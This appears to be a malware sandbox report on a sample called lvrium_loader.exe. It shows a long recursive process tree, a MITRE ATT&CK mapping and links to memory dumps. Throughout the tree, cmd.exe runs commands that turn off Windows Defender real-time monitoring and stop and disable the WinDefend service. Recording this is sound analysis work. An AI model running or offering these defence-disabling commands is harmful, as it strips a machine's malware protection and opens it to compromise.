        PID:21484
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:21904
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        52⤵
        
        PID:17340
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        53⤵
        
        PID:21184
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:20200
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        55⤵
        
        PID:28324
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:30452
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        50⤵
        
        PID:17212
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        51⤵
        
        PID:20524
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:21100
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        53⤵
        
        PID:28288
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:30996
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        48⤵
        
        PID:17104
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        49⤵
        
        PID:20680
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:21060
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        51⤵
        
        PID:27688
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        46⤵
        
        PID:16936
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        47⤵
        
        PID:19948
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:20296
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        44⤵
        
        PID:16724
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        45⤵
        
        PID:20344
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:20644
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        42⤵
        
        PID:16644
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:19712
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:20156
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        40⤵
        
        PID:16452
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:20336
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:20636
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        38⤵
        
        PID:14724
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:18212
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:828
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:23404
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:24344
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:31208
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        36⤵
        
        PID:16252
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:18196
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:17592
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:23080
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:22768
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        34⤵
        
        PID:16036
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:19080
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:19360
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:25096
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:25580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        32⤵
        
        PID:15856
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:18820
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:19204
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:23620
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:25072
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        30⤵
        
        PID:15684
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:17668
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:17820
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:22376
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:22620
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:30360
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:31256
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        28⤵
        
        PID:15528
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:18392
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:18640
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:23608
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:24260
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:31136
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        26⤵
        
        PID:15436
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:17492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:17660
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:21828
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:22300
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:30868
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        24⤵
        
        PID:14044
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:15820
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:15972
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:18788
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:19136
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:23652
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:25036
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:30756
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        22⤵
        
        PID:15208
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:17564
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:17848
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:22388
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:22092
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:30212
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:27916
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        20⤵
        
        PID:15084
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:16468
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:16600
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:19652
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:19984
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:26168
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:30972
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        18⤵
        
        PID:14952
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:16324
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:16428
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:19732
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:20032
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:30580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        16⤵
        
        PID:14836
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:16056
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:16332
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:18204
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:17724
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:22896
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:23352
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:30560
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:30604
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        14⤵
        
        PID:14760
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:16656
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:16904
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:20312
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:20620
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:30596
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:14672
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:15792
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:16516
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:19744
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:20044
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:26588
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:30056
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        10⤵
        
        PID:14484
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:15192
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:15448
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:18116
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:18360
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:23364
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:23752
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:31200
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:30952
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        8⤵
        
        PID:14372
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:15564
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:15720
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:18132
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:17396
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:22904
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:23396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        10⤵
        
        PID:31248
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        6⤵
        
        PID:14304
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:15256
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:14420
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:16124
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:16508
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:19620
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:19940
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:27008
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        8⤵
        
        PID:30764
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
      4⤵
      PID:14028
    - - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        5⤵
        
        PID:14268
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:14396
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:15640
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:15908
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:18780
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:19128
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:23776
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:25064
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
  2⤵
  PID:13628
- - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    3⤵
    PID:13908
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:13944
    - - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        5⤵
        
        PID:2376
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:13652
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:15052
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:15144
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:16960
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:17148
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:19772
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:20248
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        8⤵
        
        PID:28416

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
1⤵
PID:29824

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
1⤵
PID:29996

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
1⤵
PID:30240

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
1⤵
PID:30444

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
1⤵
PID:30460

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
1⤵
PID:30656

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
1⤵
PID:30932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1764-14-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp

Download

memory/1764-15-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp

Download

memory/1764-4-0x000001BE66ED0000-0x000001BE66EF2000-memory.dmp

Download

memory/1764-5-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp

Download

